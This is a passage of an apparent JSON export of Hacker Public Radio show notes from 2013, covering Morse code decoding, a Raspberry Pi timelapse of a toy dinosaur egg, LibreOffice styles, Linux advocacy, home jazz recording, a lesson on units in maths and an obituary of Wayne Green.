      IOS SOS SOS THE STANDARD EMERGENCY SIGNAL IN MORSE CODE. FOR EMERGENCY SIGNALS MORSE CODE CAN BE SENT BY WAY OF IMPROVISED SOURCES THAT CAN BE EASILY KEYED ON AND OFF MAKING IT ONE OF THE SIMPLEST AND MOST VERSATILE METHODS OF TELECOMMUNICATION. THE MOST COMMON DISTRESS SIGNAL IS SOS OR THREE DOTS THREE DASHES AND THREE DOTS INTERNATIONALLY RECOGNIZED BY TREATY. MORSE CODE FROM WIKIPEDIA THE FREE ENCYCLOPEDIA MORSE CODE IS A METHOD OF TRANSMITTING TEXT INFORMATION AS A SERIES OF ON-OFF TONES LIGHTS OR CLICKS THAT CAN BE DIRECTLY UNDERSTOOD BY A SKILLED LISTENER OR OBSERVER WITHOUT SPECIAL EQUIPMENT. THE INTERNATIONAL MORSE CODE ENCODES THE ISO BASIC LATIN ALPHABET SOME EXTRA LATIN LETTERS THE ARABIC NUMERALS AND A SMALL SET OF PUNCTUATION AND PROCEDURAL SIGNALS AS STANDARDIZED SEQUENCES OF SHORT AND LONG SIGNALS CALLED DOTS AND DASHES OR DITS AND DAHS. BECAUSE MANY NON-ENGLISH NATURAL LANGUAGES USE MORE THAN THE 26 ROMAN LETTERS EXTENSIONS TO THE MORSE ALPHABET EXIST FOR THOSE LANGUAGES. EACH CHARACTER LETTER OR NUMERAL IS REPRESENTED BY A UNIQUE SEQUENCE OF DOTS AND DASHES. THE DURATION OF A DASH IS THREE TIMES THE DURATION OF A DOT. EACH DOT OR DASH IS FOLLOWED BY A SHORT SILENCE EQUAL TO THE DOT DURATION. THE LETTERS OF A WORD ARE SEPARATED BY A SPACE EQUAL TO THREE DOTS ONE DASH AND TWO WORDS ARE SEPARATED BY A SPACE EQUAL TO SEVEN DOTS. THE DOT DURATION IS THE BASIC UNIT OF TIME MEASUREMENT IN CODE TRANSMISSION. FOR EFFICIENCY THE LENGTH OF EACH CHARACTER IN MORSE IS APPROXIMATELY INVERSELY PROPORTIONAL TO ITS FREQUENCY OF OCCURRENCE IN ENGLISH. THUS THE MOST COMMON LETTER IN ENGLISH THE LETTER E HAS THE SHORTEST CODE A SINGLE DOT. MORSE CODE IS MOST POPULAR AMONG AMATEUR RADIO OPERATORS ALTHOUGH IT IS NO LONGER REQUIRED FOR LICENSING IN MOST COUNTRIES INCLUDING THE US. PILOTS AND AIR TRAFFIC CONTROLLERS USUALLY NEED ONLY A CURSORY UNDERSTANDING. AERONAUTICAL NAVIGATIONAL AIDS SUCH AS VORS AND NDBS CONSTANTLY IDENTIFY IN MORSE CODE. COMPARED TO VOICE MORSE CODE IS LESS SENSITIVE TO POOR SIGNAL CONDITIONS YET STILL COMPREHENSIBLE TO HUMANS WITHOUT A DECODING DEVICE. MORSE IS THEREFORE A USEFUL ALTERNATIVE TO SYNTHESIZED SPEECH FOR SENDING AUTOMATED DATA TO SKILLED LISTENERS ON VOICE CHANNELS. MANY AMATEUR RADIO REPEATERS FOR EXAMPLE IDENTIFY WITH MORSE EVEN THOUGH THEY ARE USED FOR VOICE COMMUNICATIONS. THERE ARE MANY APPLICATIONS IN LINUX TO HELP YOU LEARN MORSE CODE. CHECK OUT RADIO.LINUX.ORG.AU FOR A LIST OF APPLICATIONS.

      \n

      A little googling will show that this text is the brief description of Morse code given at the top of its Wikipedia article (https://en.wikipedia.org/wiki/Morse_code). Surprisingly, the only transcription error appears to be the first letter as it was slightly overlapped by the intro music. It's also interesting to note that, since music consists of almost no sounds this short, the script was able to extract the data and robustly ignored everything else. In light of this, I probably could have skipped removing the wav header. Additional time could be saved by changing the regex in the awk script to match the raw hex values and thereby eliminate the sed step.

      ","hostid":257,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"Morse code\",sox,hexdump,sed,awk","version":0,"downloads":1714,"valid":1}, {"id":1344,"date":"2013-09-26","title":"Filming a Dinosaur egg hatching","duration":298,"summary":"In this episode Ken and his Son hatch a plan to film a Dinosaur egg hatching using fswebcam.","notes":"

      \nIn this episode Ken and his Son hatch a plan to film a Dinosaur egg hatching using fswebcam.\n

      \n\n

      \n\"Groeiend
      https://www.intertoys.nl/speelgoed/groeiend-dinosaurus-ei-577680.html
      \n

      \n\n

      \nWe had to wait 8 days for a Dinosaur egg to hatch, so we rigged up a RasberryPi with a cheap usb cam to take pictures. This was just before the camera module was releases. However the principle was the same. We positioned the egg in a mixing bowl and placed it on some boxes to give it height. Then we used the handle of a camera stand as a place to clip on a cheap usb camera. We then connected the camera to a RasberryPi.\n

      \n

      \n\"the\n

      \n

      \nOn the first day we let the light in and you see flickering as the lighting conditions change over the course of the day and the camera adjusts. Peter64 has promised a episode on how to fix this. So we closed the curtains and added an artificial light source as can be seen below.\n

      \n

      \nWhile we could have used fswebcam to automatically take the pictures, there was a certain satisfaction in seeing the program run every minute. Other than the default Raspbian install, we installed fswebcam and screen. The first to take the pictures and the other to allow the script to continue running after we disconnected.\n

      \n
      \n$ cat egg.bash\n#!/bin/bash\nwhile true\ndo\n  nowdate=$(date -u +%Y-%m-%d_%H-%M-%SZ_%A)\n  echo ${nowdate}\n  fswebcam -r 640x480 \\\n           -S 15 \\ \n           --flip h \\\n           --jpeg 95 \\\n           --shadow \\\n           --title \"Dinosaur Hatching\" \\\n           --subtitle \"Pádraig Fallon\" \\\n           --info \"\" \\\n           --save egg-${nowdate}.jpg\n  sleep 1m\ndone\n
      \n

      \nThat produced a big long list of images, 10886 in total, and it was a \"simple\" matter to convert them to a mp4 file with ffmpeg. See https://diveintohtml5.info/video.html for more information on encoding for the web in general\n

      \n
      \nffmpeg -y -r 120 -f image2 -pattern_type glob -i \"*.jpg\" -b:v 2000k -vcodec libvpx -quality best egg-libvpx.webm\n
      \n\n

      \n\n\n

      \n\n

      \nHere's the finished product:\n

      \n

      \n\"Hatched","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Dinosaur egg\",\"Raspberry Pi\",fswebcam","version":0,"downloads":1604,"valid":1}, {"id":1345,"date":"2013-09-27","title":"LibreOffice 12 Writer List Styles Introduced","duration":1510,"summary":"Introducing list styles in LibreOffice Writer","notes":"

      This episode of the LibreOffice series introduces the concept of List Styles in LibreOffice Writer. We discuss List Styles in general and tour the Properties window for List styles.

      \n

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1734,"valid":1}, {"id":1346,"date":"2013-09-30","title":"How to properly evangelize linux or why I use linux as my daily driver.","duration":1051,"summary":"Riley Gelwicks gives advice on how to evangelize Linux","notes":"

      Twitter/Identi.CA: @rileyinchina(Twitter)

      \n

      How to properly evangelize technology or why I use linux as my daily driver.

      \n

      Background:

      \n

      I started linux in 2007 with ubuntu 7.04 because I bought a cheap laptop in china that only had the entry level windows vista in the belief that I could change the language. I use linux on both my work and home pc’s htpc and a server, it really is just amazing the different applications and things you can do with it.

      \n

      Current PC is using: ubuntu 12.04

      \n

      Some rules of the road:

      \n

      Find the right time to broach the subject.Maybe when a person has to reinstall windows or they get a virus, or need to repurchase some piece of DRMed software.

      \n

      Don’t talk down to anyone, laugh at them or be a jerk. The people we are trying to convert don’t use linux everyday or probably have a vague idea or understanding of what linux is, your mission is to be as patient as possible.

      \n

      Don’t harp on how bad the system they are currently using is, find a situation in which they could benefit from the use of linux. The reason why fanboys exist is because we have this inherent need to not believe we are not wrong, if we are not wrong then surely the other guy is.

      \n

      Don’t attempt to tell the person what free as free not free as in beer is. News alert, nobody cares, unfortunate as it may be nobody cares about these things.

      \n

      Use practical examples as to why open source just works better: for me that’s wowing my coworkers by running a webserver on my desktop and having them test the various pieces of software before we settle on which one to put on our work server.

      \n

      Show them how you use linux or other open source projects in your daily life, to me the best WOW factor comes from XBMC on a Home Theatre PC, add in a PVR and you’ll easily see people’s mouths drop.

      \n

      Explain how open source is inherently more secure Linux has less exploited exploits

      \n

      Use current events: NSA, Viruses the end of lifing of XP to show them why they should at least attempt it.

      \n

      Ask them what they seriously use their computer for, my gut feeling is that about 75% of computer users don’t use anything on their computers that doesn’t already exist or have a worthy replacement in linux or an easy web application. And if worse comes to worse show them that they have the umbilical cord of WINE and or a virtual machine.

      \n

      Appeal to their frugality:

      \n

      Finally but probably most importantly put your money where your mouth is if you are taking the time to evangelize a product give a person some insurance:

      \n
        \n
      1. Give a guaranteed tech support certificate to anyone that is willing to try.
      2. \n
      3. Tell them to give linux a one day, one week and one month trial.
      4. \n
      5. Help them install it.
      6. \n
      7. Train them, most of us know that desktop linux is for all intents and purposes essentially the same as desktop Windows or Mac OSX
      8. \n
      ","hostid":258,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Windows,Linux","version":0,"downloads":1726,"valid":1}, {"id":1347,"date":"2013-10-01","title":"LinuxJAZZ#4","duration":1070,"summary":"Bariman describes his recording setup and methods","notes":"

      Getting Started

      \n

      \"Home

      \n

      Audioimprovised extract (49sec). The improvised extract shows the quality that can be achieved with a fairly simple audio studio setup. The podcast outlines a number of useful tips and describes my method in achieving a virtually total Linux solution in my workflow. See also earlier HPR episodes-hpr0712 and hpr0755.

      \n

      My studio at home is in a spare-bedroom; a room, just 16x12 feet, with no special sound-proofing, just full bookcases all around the walls. The sound is quite 'dead' and OK for recording 'speech' which I do using a Zoom H4n Recorder, mounted on a small tripod, with 'pop' filter, and remote-controller to switch on and off.

      \n

      The vox part is one long file with pauses where the audio will be inserted. The file is saved to the PC as a WAV file into a master folder and, within that, three sub-folders to hold 'media' and 'text' files and a 'building' folder to assemble the final recording.

      \n

      The solo instruments and backing tracks are recorded through a USB mixer attached to the PC. Audio-improvised extract (45sec) from my composition Summer Dancin'. The piece was completely realised using the home set-up and Impro-Visor (https://bit.ly/EYbcv), which is similar to Band-in-a-Box with built-in rhythms and backings.

      \n

      My approach to writing musical themes is either 'melody' first or 'chord' sequence first. With Summer Dancin' it was 'chord' sequence first. I improvised a theme, live at the keyboard over a chord sequence and samba rhythm, using Impro-Visor. The main difference between Impro-Visor and Band-in-a-Box is that Band-in-a-Box uses sampled sounds to make up the backings, etc., whereas Impro-Visor's sounds are synthesised.

      \n

      AudioSummer Dancin'-theme (51sec). The harmonic sequence for the tune is fairly complex; as is the melody. To achieve similar results needs a fair grounding in jazz-type harmony and improvisation. Any approach, be it simple or complex, will work equally effectively using this basic method.

      \n

      What's in my music production 'Bag'?

      \n

      My main machine, is a basic PC desktop Acer Aspire SA80 with only 1 GB of ram. It has an Intel Pentium 4 processor and dual monitors. Xubuntu 12.04, LTS is the desktop and I use the on-board sound card. I have a small Yamaha PSR-350 keyboard attached via a Midiman MidiSport 2x2 interface. The Yamaha provides additional sound sets and it is through this that the backings are provided. The mixer is a Behringer Xenynx 1204FX and I use a variety of dynamic and studio capacitor microphones, with stands and 'pop' filters and the Zoom H4n Recorder. Audioimprovised extract (54sec)

      \n

      Process & Procedure for Podcasts

      \n

      For the instrumental portions, I mostly record straight into Audacity with the Band-in-a-Box backing track inputted to one channel of the mixer, and the instrument 'miked' to a second channel. A small amount of effect is added to the 'miked' channel while the 'backing' track is kept 'flat.' These are 'mixed' down to a single mono track at 44100 Hz and exported and saved as a FLAC file. The solo Bumpers are just simply improvised and recorded on to a single Audacity track.

      \n

      To assemble the podcast, I place the vox recording on the top track and split and move the track at the point where I insert an audio clips. These are dragged into Audacity on a separate track and the cut part of the vox track, moved to the right, as necessary. If I need to record using separate tracking, then I use Ardour. I often produce the music in score and parts for subsequent 'live' performances. The written music is produced using Sibelius 4 and the backings are generated with an old copy of Band-in-a-Box. Neither have been ported to Linux so I run them under Wine which is OK but it means only older copies of programmes will run. This is no problem, however, as the older versions provide all the functionality that I need.

      \n

      Keeping It All Together

      \n

      Well, regular practice is a important to stay 'up-to-speed.' Besides essential scales and arpeggios, for a jazz musician, a solid amount of improvisation practice is necessary. Band-in-a-Box is an ideal tool for this, providing a backing track similar to the well-known Aebersold method. Audioimprovised extract (54sec).

      \n

      Well, thats' all for now. Watch 'this space' for further developments. Cheers for now . . .

      \n

      ENDS

      \n","hostid":150,"series":73,"explicit":0,"license":"CC-BY-SA","tags":"\"audio recording\"","version":0,"downloads":1626,"valid":1}, {"id":1348,"date":"2013-10-02","title":"Fuse","duration":935,"summary":"MrX speaks about a bomb fuse that belonged to his grandfather","notes":"

      \nA show about a 2nd world war fuse that had been in the family for many years, it originally belonged to my grandfather\n

      \n

      \nHere is a link to the British Ordnance Collectors Network forums, which has a picture of a collection of German bomb fuses, the one my grandfather had looked identical to the one on the extreme left hand side of the picture entitled \"25A\".\nhttps://www.bocn.co.uk/vbforum/threads/4700-My-German-Bomb-Fuses\n

      \n\t","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"World War 2\",\"bomb fuse\"","version":0,"downloads":1574,"valid":1}, {"id":1349,"date":"2013-10-03","title":"Melissa Dupreast helps me with Audio Compression","duration":1068,"summary":"A lesson in audio compression from a professional engineer","notes":"

      I impose upon Melissa Dupreast to help me learn about audio compression and I make a recording of our session for HPR. Missy is a professional audio engineer, working locally for radio and live sound reinforcement. She is also a recent graduate of our masters program at the University of Louisiana at Lafayette and is currently teaching 3 classes for us as an adjunct instructor.

      ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio,compression,\"audio production\",\"audio quality\"","version":0,"downloads":1618,"valid":1}, {"id":1350,"date":"2013-10-04","title":"The Origin of ONICS (My Intro)","duration":3137,"summary":"The Open Network Inspection Command Suite (ONICS)","notes":"

      \nThis show is about the Open Network Inspection Command Suite (ONICS). \nIt is a project I have been working on at home for a couple of years now.\nThe idea is to create a set of command line tools that work like cat, sed,\nawk, grep, etc but for network packets instead of lines of text. This\npodcast is actually less about the tools and more about the process that\nI went through to build it. So its more a tale of the project that was\nnever done than an explanation of how to use the tools.\n

      \n

      \nContact info: \n

      \n\n\n\n

      \nQuick Start Guide for Building ONICS\n

      \n\n
        \n
      • git clone git://gitorious.org/catlib/catlib.git catlib\n
      • \n
      • git clone git://gitorious.org/onics/onics.git onics\n
      • \n
      • cd catlib/src\n
      • \n
      • make\n
      • \n
      • cd ../../onics\n
      • \n
      • make\n
      • \n
      • sudo make install # (optional) \n
      • \n
      \n\n

      \nThe microphone I ended up jury rigging to record this:\n

      \n

      \n\"back
      \nhttps://hackerpublicradio.org/eps/hpr1350/hpr1350/0_Evenfire-00-mic-back1.jpg
      \n

      \n

      \n\"back
      \nhttps://hackerpublicradio.org/eps/hpr1350/hpr1350/0_Evenfire-00-mic-back2.jpg
      \n

      \n

      \n\"front
      \nhttps://hackerpublicradio.org/eps/hpr1350/hpr1350/0_Evenfire-00-mic-front.jpg
      \n

      \n","hostid":259,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"\"command line\",networking","version":0,"downloads":1701,"valid":1}, {"id":1351,"date":"2013-10-07","title":"HPR Community News For August 2013","duration":2423,"summary":"HPR Community News For August 2013","notes":"

      New hosts

      \n

      Welcome to our new host: Stitch, Matt McGraw (g33kdad), Julian Neuer, laindir, and Riley Gelwicks (glwx).

      \n

      Show Updates

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      iddatetitlehost
      13062013-08-05Freedom FollowupChristopher M. Hobbs
      13072013-08-06What's in my BagAccipiter
      13082013-08-07Helping a New Computer UserShane Shennan
      13092013-08-08Assisted Human ReproductionKen Fallon
      13102013-08-09Energy Democracy definedBob Tregilus
      13112013-08-12Modern InconveniencesChristopher M. Hobbs
      13122013-08-13Deepgeek interviews Birgitta Jonsdottir (Icelandic Pirate Party parliamentarian)Epicanis
      13132013-08-14How I Manage ContactsJon Kulp
      13142013-08-15Impressions of MageiaFrank Bell
      13152013-08-16LibreOffice 09 Writer Working With Paragraph-Level StylesAhuka
      13162013-08-19What is my bagMrGadgets
      13172013-08-20What's In My 2 BagsCurtis Adkins (CPrompt^)
      13182013-08-21How I found LinuxSunzofman1
      13192013-08-22Frank Bell Presents HPR to His LUGFrank Bell
      13202013-08-23How I got into Linuxjrobb
      13212013-08-26What's in my BagChristopher M. Hobbs
      13222013-08-27Kevin O'Brien - Ohio LinuxFest 2013Ken Fallon
      13232013-08-28HPR Community News For July 2013HPR Admins
      13242013-08-29Porting Mega Happy Sprite To Windowssigflup
      13252013-08-30LibreOffice 10 Writer Paragraph Styles in TemplatesAhuka
      \n

      Monthly Downloads

      \n

      \"Graph

      \n

      \"Download

      \nStarted:  7 years, 6 months, 22 days ago (2005-10-10)\nRenamed HPR:  5 years, 3 months, 29 days ago (2007-12-31)\nTotal Shows:  1685\nTotal TWAT: 300\nTotal HPR:  1385\nHPR Hosts:  200\nNext free slot: 25\nHosts in Queue: 13\nShows in Queue: 22\nAugust Downloads: 86,109\nAverage Daily Download: 2,620\nEstimated Episodes Downloaded: 7,567,791\nhttps://hackerpublicradio.org/report.bz2\n

      Host Pages

      \n

      Should we update the host pages to include information like PGP Key, a photo etc.

      \n

      On the Mailing List

      \n
        \n
      • Everyone is going to OGGCamp except Ken.
      • \n
      • HPR Episodes with Code is OK
      • \n
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1550,"valid":1}, {"id":1352,"date":"2013-10-08","title":"Stanford marshmallow experiment","duration":4888,"summary":"A soundscape","notes":"

      \nThe Stanford marshmallow experiment (wiki) refers to a series of studies on delayed gratification in the late 1960s and early 1970s led by psychologist Walter Mischel, then a professor at Stanford University. In these studies, a child was offered a choice between one small reward (sometimes a marshmallow, but often a cookie or a pretzel, etc.) provided immediately or two small rewards if he or she waited until the experimenter returned (after an absence of approximately 15 minutes). In follow-up studies, the researchers found that children who were able to wait longer for the preferred rewards tended to have better life outcomes, as measured by SAT scores, educational attainment, body mass index (BMI) and other life measures. However, recent work calls into question whether self-control, as opposed to strategic reasoning, determines children's behaviour.\n

      \n

      \nhttps://en.wikipedia.org/wiki/Stanford_marshmallow_experiment\n

      ","hostid":224,"series":101,"explicit":0,"license":"CC-BY-SA","tags":"Timing, Sensation, 2004","version":0,"downloads":1876,"valid":1}, {"id":1353,"date":"2013-10-09","title":"Practical Math - Introduction to Units","duration":2567,"summary":"An Introduction to Units, with some useful illustrations","notes":"
      \nIntroduction: Units are the bridge from learning abstract arithmetic \n  operations on numbers to actually using maths to navigate the world of \n  objects, distance, time, rates, volume, temperature, heat, current,\n  voltage, and even cooking using recipes.\n\nGoal for the series: Embracing units, and carrying them along as you go,\n  can help you work with confidence in using maths in your life. \n  \n  When you start to use maths to solve real problems, you are going to \n  run into units.  This series is intended to show you that units are\n  your friends, and that they're here to help you.\n    \nGoal for this episode: We want to look at what units are, what they do, \n  types of units, and how to mix unitless numbers with units.\n  \n\nResource for the series:\n\n * Khan Academy pages on Rates, Ratios and Units\n   https://www.khanacademy.org/math/arithmetic/rates-and-ratios\n\n\nMost articles that would be relevant to this introductory episode were\nabout teaching physics and chemistry, or discussions of philosophical \nimplications of doing what we will be doing at every turn in this \nseries.  \n\nAll of the formal operations that we will learn to do with units are\ndone every day in real life by experts in their respective fields.  I am\nnot worried about what it means to say, \"There are 12 inches in a foot.\"\n\nLater shows will have more links and resources.\n\n\nSegment 1:  What do we mean by units?\n\n1. Definition: Two types of units are useful in practical maths:\n   \n   a. Counting units: An individual thing treated as single or complete.\n      Units can also apply to an individual component of a larger or \n      more complex system.  E.g., mufflers can become part of a car. \n\n      - Think of objects that you would keep in an inventory in your \n          pantry or in a warehouse.\n\n   b. Measurement units: A quantity chosen as a standard that you can \n      use as a common benchmark for comparing other quantities (of the\n      same kind).\n\n      - \"Same kind\": Don't try to compare distances to times or volumes.\n      \n      - \"Standards\": Communication tool for talking about quantities\n            without being face-to-face.  If you have standard units,\n            you avoid expressions like \"yea long\", \"kind of tall\", etc.\n      \n      - Probably invented by buyers and sellers, or by the spouse of an\n            avid fisherman.\n\n   c. Composite units: Units can be multiplied together (or divided) to\n      create new types of units.  Some people call these \"derived\n      quantities\", but that may sound too much like programming talk.\n      I use composite units because of the mental picture it creates of\n      putting things together, or doing one operation after another.\n      \n      - Dimensionality changes: \n        * 1 ft * 1 ft = 1 square foot: distance^2 --> area\n        * 1 ft * 1 ft * 1 ft = 1 cubic foot: distance^3 --> volume\n        \n      - Rates: \n        * Speed: distance / time = average speed, as in kilometers/hour\n        * Flow rates: volume / time, as in liters/minute\n        * Pressure: force / area, as in pounds / square foot\n        * Density: mass / volume, as in kilograms / liter\n        * Rationing: (1 period) counting units / time, as in apples/day\n                  (longer time) apples / family_member / day\n      \n      - We will run more of these types of units in later shows.\n       \n   \n2. Other kinds of numbers: Not every quantity has units attached\n\n   a. Numbers can be unitless. Unitless numbers help you make sense of\n         quantities with units through comparisons, extrapolations, etc.\n         \n     - Example: Percent changes are unitless floating point numbers, \n          unless it is tied to an elapsed time.  That's a \"rate\", which\n          has units of \"% per year\" (say).\n            \n     - Example: Percentage of Total values are unitless fractions, too.\n     \n     - Example: Any unit can be multiplied by a unitless integer.\n          * 2 feet, 3 apples, 4 quarts, 10 meters, etc.\n          * \"Twice as many\", \"ten times as far\", \"double a recipe\"\n     \n     - Counting units can be multiplied by a unitless fraction, but the\n          result will be rounded off to the nearest integer value.\n          * \"Mary has 2-1/2 times as many apples as John,\" is fine if\n               John has 4 apples, and Mary has 10 apples.\n          \n     - Example: Measurement units can be multiplied by any arbitrary\n          scale factor.\n          * How big: \"A land area 3.6 times the size of New Jersey...\"\n          * How far: \"I'll meet you halfway...\"\n          * How much: \"If using white flour, you'll need 30% more...\"   \n\n   b. When values with units are divided by other values with the very\n        same units, the result is a unitless number.\n      - Percent of Total and Percent Change are prime examples\n      - Comparison of distances: \n        * \"St. Johnsbury is 45 miles away, and Barton is only 15 miles.\n             So you have to drive 3 times as far to get to St. J.\"\n      \n   c. Conversion factors between units work in this way.  They are given\n          as ratios of some number of new_units divided by some other\n          number of original_units.  \n        \n        * The original_unit quantities cancel in multiplication, just as\n            numbers do, so you get an answer with the correct units!\n        \n        * You could call conversion factors \"derived quantities\", \n            because you create them from something called an identity,\n            or a statement of equality that you know to be true. \n   \n   d. Conversion factors will be covered next time.\n   \n   \n3. Why bother with \"counting units\"?  Aren't these just names?\n\n   a. Counting units are labels or names applied to individual items in\n      a total count, but they are still useful.\n   \n   b. Using counting units helps us to make distinctions between items\n      that are not interchangeable, so we can keep track of the counts\n      for each individual kind of item.\n      \n      - If you need 2 apples, having 10 onions does not help you.\n   \n      - Thinking with units will help you keep inventories and to start\n           setting up accounting systems for your business.  It will \n           also help you manage your kitchen and your budget at home.\n      \n\nSegment 2: Counting Units?  Are you serious?\n\n1. Counting units give context to the numbers that you are using in any\n   calculations that arise when you are buying, selling, trading or just\n   using up items in a beginning inventory.\n   \n   Here's what happens when you don't track units in counting problems.\n   \n   - Example: \"John has 9 apples in his basket.  If he gives 2 apples\n     to Mary, how many does he have left?\"\n     \n   - Speed test preparation textbooks seem to teach you to parse the \n     problem as if you were a word problem \"compiler\":\n\n     a. Fish out the numbers and their roles.\n       \n        --> Notice that 9 is near \"in his basket\", \n                              and \"how many does he have left?\", \n            \n            It must be the source.\n\t\n\t    --> Notice that 2 is next to \"gives away\". \n\t    \n\t        It must be the change in quantity.\n\t\n     b. Parse out the operation: \"gives away\" is code for subtraction.\n\n     c. Do the calculation and supply a numerical answer: 9 - 2 = 7\n\n\n2. Re-work the problem by tracking units.\n   a. Read the problem.  I'll wait.  We will parse it together.\n   b. John has a basket with 9 apples in it --> beginning inventory\n   c. John gives away two (2) apples to Mary.\n      - John's inventory of 9 apples is reduced by 2 apples, \n      - John now has 7 apples in his basket.\n      \n   d. Mary now has 2 additional apples in her inventory.\n      - The apples were neither created out of nothing nor destroyed.\n      - They came from somewhere (John), and they went somewhere (Mary).\n      - If \"apples out\" does not equal \"apples in\", something's wrong. \n   \n   e. Having this information lets you answer questions with confidence.\n   \n   f. Answer the question: \"John now has 7 apples.\"\n      - John does not have '7'.  John has '7 apples'.\n\n\n3. Ho hum.  That solution is exactly the same. You're picking nits.\n\n   a. For a trivial problem, this looks the same.  But there are some \n      benefits of using units, even if they appear to be \"just labels\".\n \n   b. If the problem had said that \"John gave 2 oranges to Mary\", we\n      would have spotted the discrepancy immediately.\n      - Giving away oranges does not affect John's apple inventory\n      - The oranges must have come from another supply (account)\n      - We can still talk about an increase in Mary's oranges count, and\n          the decrease in John's oranges -- even though we don't know\n          the beginning or ending balances.\n   \n   c. What if the problem had said, \n         \"Mary has three times as many apples as John.  How many apples\n           would Mary have to give to John to leave each of them with \n           the same number of apples?\"\n   \n   d. Better yet, what if the problem read:\n         \"John has 19 apples, and Mary has 14 oranges. Now John likes \n           oranges twice as much as he likes apples, but Mary likes \n           apples three times as much as she likes oranges.  \n           \n           How can John and Mary exchange apples and oranges to get the \n           best (equal) gain in happiness?\"\n\n      - This problem involves not only the tracking of apples and \n          oranges, but probably some type of \"happiness\" function \n          that gives a value that carries some kind of units.\n        \n        Warning: There's not enough information to really solve this\n          problem without further assumptions.  It is meant as an \n          illustration of how complicated a setup can become when you\n          get into real life situations.\n      \n      - Problems like this are what make people hate economics.  One \n          way to solve it is to define utility functions for each party.\n      \n      - Their preferences are so different from their inventories, that\n          simply trading baskets is pretty close to an optimal solution.       \n      \n   e. If the problem had involved trading some of John's apples for \n        some of Mary's oranges, and possibly an offsetting cash payment\n        to correct an imbalance, we would make the best use of our \n        information about the sources and uses of resources by tracking\n        the units of each object or currency involved in the exchange.\n   \n      Point:  Problems can become complicated.  Units can help with the\n              bookkeeping needed to work through to the answers.\n\n              If someone poses a problem like this one to a group at a\n              dinner party, it is time to remember that you forgot to\n              iron your curtains.\n              \n              \n4. Final properties of counting units\n\n   a. Compatible counting units can be added and subtracted.\n      - Example: 6 apples + 4 apples = (6 + 4) apples, or 10 apples.\n      - Example: 6 apples + 2 oranges is a mixed expression.  They \n          cannot be added, except as part of a fruit salad.\n   \n   b. An amount that's given in counting units can be multiplied by an \n        integer, since that is like repeated additions.  They can also\n        be multiplied by a fractional amount, but we would want to \n        interpret the result as a whole number.\n        \n   c. Any multiplication by a floating point number would have to be \n      defined, and it's usually not worth the effort.\n   \n   d. Counting units have weaknesses, especially in classification:\n      - Organic items are usually not identical.  Apples can vary. \n        * Size: A recipe calls for \"3 large apples\".  Are these large?\n        * Varieties: \"Apples\" in the US can include Macintosh, Rome, \n             Gala, Granny Smith, etc.  These can be quite different.\n       \n      - Animals also vary within categories:\n        * Cats: Lions, lynxes and Little Puff can all qualify\n        * House cats: Siamese, Persians, Tabby cats are all just cats,\n            until you have them living in your home.\n      \n      - Some living things are hard to pin down: sponges, paramecia\n      \n      - Other items can also create classification issues, depending on\n           your purpose.\n        * Units are just tools.  Let them work for you, and not the \n            other way round.\n\n\nSegment 3: Units of measurement\n\n1. Measurement units are often continuous (or just about), so they can\n     be divided conceptually into smaller and smaller subunits as many\n     times as we like.  \n\n   - They can also be lumped together into larger and larger wholes.\n\n   - Physical limitations place practical limits on how finely we can\n       actually chop things up, and still get a measurement.\n       \n   - There are real world limitations on how much we can lump together.\n\n   - But you get the idea.\n\n\n2. Measurement units can be applied to distance, time, area, volume, \n     weight or mass, energy, frequencies of light or radio waves, \n     voltages, current, heat, temperature, and a host of other things.\n\n   - We can measure these quantities with differing levels of precision,\n       based on the instruments and abilities that we have.\n\n   - For all practical purposes, we measure within tolerances that we\n       can meet without spending our whole lives measuring. \n\n\n3. Applications of measurement units\n\n   a. Understanding the news: hectares of forest endangered by a fire,\n        square miles of arable farmland in South Africa,\n        temperatures given in unfamiliar scales such as Fahrenheit,\n        snowfall measurements in Canada versus neighboring Montana, etc.\n   \n   b. Following recipes to make bread, cookies, beer and other items \n        that promote World Peace\n   \n   c. Mixing chemicals for an old-school darkroom, or for a very cool \n        low-tech electronics home \"fab lab\"\n   \n   d. Buying gasoline (petrol) in other countries, and understanding\n        their speed limits in foreign units.\n        \n      - Can't help you with driving on the wrong side of the road\n   \n   e. Helping your kids with their maths homework, and understanding it\n        for once!\n   \n   f. Checking the dosages of your medications against your prescription\n         to find out if this is my medicine or my child's.  You just\n         have to be able to get this one right.\n\nWe'll get to all of this and more in future episodes in this series.\n
      \n\n","hostid":229,"series":72,"explicit":0,"license":"CC-BY-SA","tags":"maths, units","version":0,"downloads":1591,"valid":1}, {"id":1354,"date":"2013-10-10","title":"Wayne Green","duration":1911,"summary":"Memories of Wayne Green, an American publisher, writer, and consultant","notes":"

      \nWayne Green
      \nFrom Wikipedia, the free encyclopedia\n

      \n

      \nWayne Sanger Green II, was an American publisher, writer, and consultant. He was formerly editor of CQ magazine before he went on to found 73, 80 Micro, Byte, CD Review, Cold Fusion, Kilobaud Microcomputing, RUN, InCider, and Pico, as well as publishing books and running a software company. In the early 1980s, he assisted in the creation of the groundbreaking Brazilian microcomputing magazine, Micro Sistemas (Portuguese).\n

      \n

      \nLicensed by the Federal Communications Commission in the Amateur Radio Service with the callsign W2NSD, he was involved in a number of controversies and disputes in the Ham Radio world, notably with the ARRL and CQ magazines. As of 2011 he lived in a farmhouse in Hancock, New Hampshire and maintained a website with content from his on-line bookstore.\n

      \n

      \nWayne Green died September 13, 2013.\n

